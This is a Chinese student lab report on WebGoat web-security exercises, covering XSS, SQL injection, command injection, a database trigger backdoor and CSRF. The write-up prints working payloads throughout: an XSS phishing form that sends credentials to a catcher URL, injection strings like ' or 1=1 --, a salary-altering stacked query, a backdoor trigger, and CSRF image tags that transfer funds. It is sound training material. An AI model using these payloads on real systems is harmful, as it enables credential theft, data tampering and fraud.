20155207 《网络对抗》 Exp9 Web安全基础
20155207 《网络对抗》 Exp9 Web安全基础
实验内容
- 关于WebGoat
- Cross-Site Scripting(XSS)练习
- Injection Flaws练习
- CSRF攻击
实验总结与体会
这次实验在WebGoat里做了SQL注入的10个相关实践,从上周学习的简单通过文本框中输入字符串构造SQL语句进行SQL注入到在文本框中提交文本或者发送邮件做XSS攻击,还有利用;邮件发送含有恶意URL请求的HTML对象来利用用户的COOKIE做非法操作
基础问题回答
- (1)SQL注入攻击原理,如何防御?
- 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
- XSS攻击的原理,如何防御?
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
- 防御:
1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
- (3)WebServer支持哪些动态语言
- ASP、PHP、JSP、Python
实验过程记录
webgoat
- 开启webgoat:
java -jar webgoat-container-7.0.1-war-exec.jar
- 在浏览器上访问
localhost:8080/WebGoat
,登录
XSS攻击
Phishing with XSS
- 这个题目我们要在搜索框中输入XSS攻击代码:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,然后输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
Reflected XSS 反射型XSS攻击
- 在
code
框中输入```alert("I am 20155207")题目要求:要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
Stored XSS Attacks
- 直接在
title
里随便输入,然后在message
中输入一串代码,比如:<script>alert("5207!");</script>
提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功
Injection Flaws
Command Injection
- 通过火狐浏览器下的一个扩展Firebug对源代码进行修改
- 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况
Numeric SQL Injection
- 进行SQL注入在
station
字段注入特征字符,以组合成新的SQL语句,SELECT * FROM weather_data WHERE station = [station]
,要获得所有的天气数据,就在station
中的任意一个值后面加入一个1=1
,由于1=1
为永真式,选择所修改的value
所指向的城市,就可以得到所有的天气。
LAB:SQL Injection
String SQL Injection
题目要求:使用字符串SQL注入在没有正确密码的情况下登录账号boss。
在密码栏中输入
' or 1=1
--进行SQL注入
,但是登录失败。查看源代码,去掉对输入长度的限制,登录成功。
Numeric SQL Injection
- 通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户
larry
,浏览其BOSS
的账户信息。首先我们用上一题的办法登录Larry
的账号!在密码框里输入' or 1=1 --
,登录后发现我们只能看见Larry
一个人的工资信息。
- 浏览员工信息的按钮是
ViewProfile.
在网页代码中分析一下这个按钮,发现这个地方是以员工ID
作为索引传递参数的,我们要达到通过Larry
来浏览老板账户信息的目的,把其中的value
值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:
String SQL Injection
这个表单允许使用者查询他们的信用卡号,使用
SQL注入
让所有的信用卡号都看得见。我们构造一个永真式“1”,那么不管前面的
WHERE
是否成立都能执行,所以构造语句'or 1='1
,成功得到了全部的信用卡号。
Blind Numeric SQL Injection
- 题目要求是得到一个存放在
pins
表中值pin
的内容,行号cc_number=1111222233334444
,是一个int型
的数据。
然后使用BurpSuite
进行拦截,拦截后action--send to intruder
进行暴力破解,使用sniper模式
,选择10000
进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1。可以发现2364
的报文长度明显和其他不一样,那这个值就应该就是2364:
Database Backdoors
- 先输入示例101进行尝试,得到了该用户的信息。
- 观察发现输入的语句不进行验证,于是我们输入语句:
101; update employee set salary=10000
成功将该用户的工资变成10000
,攻击成功: - 输入语句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155207@hackme.com' WHERE userid = NEW.userid
- 表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱
4.CSRF攻击
Cross Site Request Forgery
- 在文本框中提交一个有URL恶意请求的代码,
<img src='attack?Screen=278&menu=900&transFunds=100000' width='1', height='1'>
,其中scr=278,menu=900
,点击就会执行
CSRF Prompt By-Pass
- 与上个实验类似,除了转账金额还增加了确认转账,同样构造两个包含恶意URL的图片,此次scr=268,增加
<img src='attack?Screen=268&menu=900&transFunds=CONFIRM' width='1', height='1'>
成功列表
20155207 《网络对抗》 Exp9 Web安全基础的更多相关文章
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145308 《网络对抗》Web安全基础实践 学习总结
20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...
- 20145315何佳蕾《网络对抗》Web安全基础
20145315何佳蕾<网络对抗>Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页 ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155206《网络对抗》Web安全基础实践
20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20155305《网络对抗》Web安全基础实践
20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155307《网络对抗》Web安全基础实践
20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155311《网络对抗》Web安全基础实践
20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155338《网络对抗》Web安全基础实践
20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...
随机推荐
- Oracle 参数文件及相关操作介绍
Oracle 参数文件及相关操作介绍 by:授客 QQ:1033553122 1.服务器参数文件 服务器参数文件是一个二进制文件,作为初始化参数的存储仓库.实例运行时,可用ALTER SYSTEM来改 ...
- 负载均衡(Load Balancing)学习笔记(一)
概述 在分布式系统中,负载均衡(Load Balancing)是一种将任务分派到多个服务端进程的方法.例如,将一个HTTP请求派发到实际的Web服务器中执行的过程就涉及负载均衡的实现.一个HTTP请求 ...
- 如何把SQL Server中一个表,一个存储过程,一个视图等改为系统表,系统存储过程,系统视图等
使用如下存储过程即可: EXEC sys.sp_MS_marksystemobject '[dbo].[TableNameToSystem]' 其中"[dbo].[TableNameToSy ...
- leveldb源码阅读
http://blog.csdn.net/sparkliang/article/details/8567602 http://brg-liuwei.github.io/tech/2014/10/15/ ...
- qt designer启动后不显示界面问题的原因与解决办法
Qt 5.6.1无论是在vs里双击ui文件还是直接启动designer.exe都一直无法显示界面,但任务管理器中可以看到该进程是存在的.前几天还正常的,但昨天加了一块NVIDIA的显卡(机器自带核显) ...
- qt调用sql server存储过程并获取output参数
最近新做的一个项目需要使用qt5连接另一台机器上的sql server,虽然网上已有类似文章,但还是有些其中很少提及的问题,故在这里汇总下: qt连接sql server可以参考这篇文章: <Q ...
- Mysql缓存中innodb_buffer_pool与Qcache的区别
innodb buffer pool和Qcache的缓存区别? 1.Qcacche缓存的是SQL语句及对应的结果集,缓存在内存,最简单的情况是SQL一直不重复,那Qcache的命令率肯定是0; 2.b ...
- October 31st, 2017 Week 44th Tuesday
No matter how hard the past is, you can always begin again. 不管过去有多么困难,你都可以重新开始. Honestly, I don't ag ...
- RxJS--Subject
Subject是Observable(可观察对象)的子类,subject是多播的,允许将值多播给多个observer(观察者),普通observable是单播. 每一个Subject都是一个Obser ...
- initialProps被React-Navigation的navigation属性覆盖解决方案
怎么开场对我来说一个是个很纠结的问题,Emmm这应该算个好开场. 最近在做一个RN的app端调试工具,在把它嵌入原生app中的时候遇到了一个问题,RN组件里面接受不到原生传过来的initialProp ...